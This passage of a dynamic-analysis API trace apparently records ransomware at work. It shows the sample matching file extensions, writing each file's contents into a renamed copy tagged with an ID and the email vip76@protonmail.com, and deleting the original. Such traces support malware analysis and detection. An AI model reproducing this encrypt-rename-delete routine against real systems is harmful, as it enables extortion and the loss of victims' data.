	[0062.699] lstrlenW (lpString=".xls") returned 4
	[0062.700] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.700] lstrlenW (lpString=".xlsx") returned 5
	[0062.700] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1
	[0062.700] lstrlenW (lpString=".ppt") returned 4
	[0062.700] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.700] lstrlenW (lpString=".zip") returned 4
	[0062.700] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.700] lstrlenW (lpString=".rar") returned 4
	[0062.700] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.700] lstrlenW (lpString=".bz2") returned 4
	[0062.700] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.700] lstrlenW (lpString=".7z") returned 3
	[0062.700] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.700] lstrlenW (lpString=".dbf") returned 4
	[0062.700] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.700] lstrlenW (lpString=".1cd") returned 4
	[0062.700] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.700] lstrlenW (lpString=".jpg") returned 4
	[0062.700] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.700] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.700] lstrlenW (lpString="Save.ico") returned 8
	[0062.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.701] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=1150) returned 1
	[0062.701] CloseHandle (hObject=0x33c) returned 1
	[0062.701] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80
	[0062.701] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.701] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.701] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.701] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.701] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0062.702] GetLastError () returned 0x0
	[0062.702] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0062.705] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x480, lpOverlapped=0x0) returned 1
	[0062.706] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.706] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.706] SetEndOfFile (hFile=0x35c) returned 1
	[0062.707] CloseHandle (hObject=0x35c) returned 1
	[0062.707] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.707] SetEndOfFile (hFile=0x33c) returned 1
	[0062.708] CloseHandle (hObject=0x33c) returned 1
	[0062.708] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.709] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1
	[0062.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.709] lstrlenW (lpString=".doc") returned 4
	[0062.709] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.709] lstrlenW (lpString=".docx") returned 5
	[0062.709] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1
	[0062.709] lstrlenW (lpString=".pdf") returned 4
	[0062.709] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.709] lstrlenW (lpString=".xls") returned 4
	[0062.709] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.709] lstrlenW (lpString=".xlsx") returned 5
	[0062.709] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1
	[0062.709] lstrlenW (lpString=".ppt") returned 4
	[0062.709] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.709] lstrlenW (lpString=".zip") returned 4
	[0062.709] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.709] lstrlenW (lpString=".rar") returned 4
	[0062.710] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.710] lstrlenW (lpString=".bz2") returned 4
	[0062.710] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.710] lstrlenW (lpString=".7z") returned 3
	[0062.710] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.710] lstrlenW (lpString=".dbf") returned 4
	[0062.710] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.710] lstrlenW (lpString=".1cd") returned 4
	[0062.710] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.710] lstrlenW (lpString=".jpg") returned 4
	[0062.710] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.710] lstrlenW (lpString=".doc") returned 4
	[0062.710] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.710] lstrlenW (lpString=".docx") returned 5
	[0062.710] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1
	[0062.710] lstrlenW (lpString=".pdf") returned 4
	[0062.710] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.710] lstrlenW (lpString=".xls") returned 4
	[0062.710] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.710] lstrlenW (lpString=".xlsx") returned 5
	[0062.710] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1
	[0062.710] lstrlenW (lpString=".ppt") returned 4
	[0062.710] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.710] lstrlenW (lpString=".zip") returned 4
	[0062.710] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.710] lstrlenW (lpString=".rar") returned 4
	[0062.711] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.711] lstrlenW (lpString=".bz2") returned 4
	[0062.711] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.711] lstrlenW (lpString=".7z") returned 3
	[0062.711] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.711] lstrlenW (lpString=".dbf") returned 4
	[0062.711] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.711] lstrlenW (lpString=".1cd") returned 4
	[0062.711] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0062.711] lstrlenW (lpString=".jpg") returned 4
	[0062.711] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.711] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.711] lstrlenW (lpString="Setup.ico") returned 9
	[0062.711] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.711] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=36710) returned 1
	[0062.711] CloseHandle (hObject=0x33c) returned 1
	[0062.712] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80
	[0062.712] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.712] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.712] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.712] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.712] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0062.713] GetLastError () returned 0x0
	[0062.713] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x8f66, lpOverlapped=0x0) returned 1
	[0062.717] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x8f70, lpOverlapped=0x0) returned 1
	[0062.718] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.718] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0062.718] SetEndOfFile (hFile=0x35c) returned 1
	[0062.719] CloseHandle (hObject=0x35c) returned 1
	[0062.720] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.720] SetEndOfFile (hFile=0x33c) returned 1
	[0062.721] CloseHandle (hObject=0x33c) returned 1
	[0062.721] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.722] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1
	[0062.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.722] lstrlenW (lpString=".doc") returned 4
	[0062.722] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.722] lstrlenW (lpString=".docx") returned 5
	[0062.722] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0062.722] lstrlenW (lpString=".pdf") returned 4
	[0062.722] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.722] lstrlenW (lpString=".xls") returned 4
	[0062.722] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.722] lstrlenW (lpString=".xlsx") returned 5
	[0062.722] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0062.722] lstrlenW (lpString=".ppt") returned 4
	[0062.722] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.722] lstrlenW (lpString=".zip") returned 4
	[0062.722] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.722] lstrlenW (lpString=".rar") returned 4
	[0062.722] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.722] lstrlenW (lpString=".bz2") returned 4
	[0062.722] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.722] lstrlenW (lpString=".7z") returned 3
	[0062.722] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.723] lstrlenW (lpString=".dbf") returned 4
	[0062.723] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.723] lstrlenW (lpString=".1cd") returned 4
	[0062.723] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.723] lstrlenW (lpString=".jpg") returned 4
	[0062.723] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.723] lstrlenW (lpString=".doc") returned 4
	[0062.723] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.723] lstrlenW (lpString=".docx") returned 5
	[0062.723] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0062.723] lstrlenW (lpString=".pdf") returned 4
	[0062.723] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.723] lstrlenW (lpString=".xls") returned 4
	[0062.723] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.723] lstrlenW (lpString=".xlsx") returned 5
	[0062.723] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0062.723] lstrlenW (lpString=".ppt") returned 4
	[0062.723] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.723] lstrlenW (lpString=".zip") returned 4
	[0062.723] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.723] lstrlenW (lpString=".rar") returned 4
	[0062.723] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.723] lstrlenW (lpString=".bz2") returned 4
	[0062.723] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.723] lstrlenW (lpString=".7z") returned 3
	[0062.724] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.724] lstrlenW (lpString=".dbf") returned 4
	[0062.724] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.724] lstrlenW (lpString=".1cd") returned 4
	[0062.724] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0062.724] lstrlenW (lpString=".jpg") returned 4
	[0062.724] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.724] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.724] lstrlenW (lpString="stop.ico") returned 8
	[0062.724] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.724] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=10134) returned 1
	[0062.724] CloseHandle (hObject=0x33c) returned 1
	[0062.724] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80
	[0062.724] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.725] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.725] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.725] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.725] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0062.725] GetLastError () returned 0x0
	[0062.725] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x2796, lpOverlapped=0x0) returned 1
	[0063.247] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x27a0, lpOverlapped=0x0) returned 1
	[0063.249] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.249] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0063.249] SetEndOfFile (hFile=0x35c) returned 1
	[0063.249] CloseHandle (hObject=0x35c) returned 1
	[0063.250] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.250] SetEndOfFile (hFile=0x33c) returned 1
	[0063.251] CloseHandle (hObject=0x33c) returned 1
	[0063.251] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.252] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1
	[0063.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.252] lstrlenW (lpString=".doc") returned 4
	[0063.252] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0063.252] lstrlenW (lpString=".docx") returned 5
	[0063.252] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0063.252] lstrlenW (lpString=".pdf") returned 4
	[0063.253] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0063.253] lstrlenW (lpString=".xls") returned 4
	[0063.253] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0063.253] lstrlenW (lpString=".xlsx") returned 5
	[0063.253] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0063.253] lstrlenW (lpString=".ppt") returned 4
	[0063.253] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0063.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.253] lstrlenW (lpString=".zip") returned 4
	[0063.253] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0063.253] lstrlenW (lpString=".rar") returned 4
	[0063.253] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0063.253] lstrlenW (lpString=".bz2") returned 4
	[0063.253] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0063.253] lstrlenW (lpString=".7z") returned 3
	[0063.253] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0063.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.253] lstrlenW (lpString=".dbf") returned 4
	[0063.253] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0063.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.253] lstrlenW (lpString=".1cd") returned 4
	[0063.253] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0063.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.253] lstrlenW (lpString=".jpg") returned 4
	[0063.253] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0063.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.253] lstrlenW (lpString=".doc") returned 4
	[0063.253] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0063.253] lstrlenW (lpString=".docx") returned 5
	[0063.253] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0063.253] lstrlenW (lpString=".pdf") returned 4
	[0063.254] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0063.254] lstrlenW (lpString=".xls") returned 4
	[0063.254] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0063.254] lstrlenW (lpString=".xlsx") returned 5
	[0063.254] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0063.254] lstrlenW (lpString=".ppt") returned 4
	[0063.254] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0063.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.254] lstrlenW (lpString=".zip") returned 4
	[0063.254] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0063.254] lstrlenW (lpString=".rar") returned 4
	[0063.254] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0063.254] lstrlenW (lpString=".bz2") returned 4
	[0063.254] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0063.254] lstrlenW (lpString=".7z") returned 3
	[0063.254] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0063.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.254] lstrlenW (lpString=".dbf") returned 4
	[0063.254] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0063.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.254] lstrlenW (lpString=".1cd") returned 4
	[0063.254] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0063.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0063.254] lstrlenW (lpString=".jpg") returned 4
	[0063.254] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0063.254] lstrcmpiW (lpString1=".mzz", lpString2=".html") returned 1
	[0063.254] lstrlenW (lpString="netfx_Extended.mzz") returned 18
	[0063.254] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0063.255] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=43131591) returned 1
	[0063.255] CloseHandle (hObject=0x33c) returned 1
	[0063.255] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20
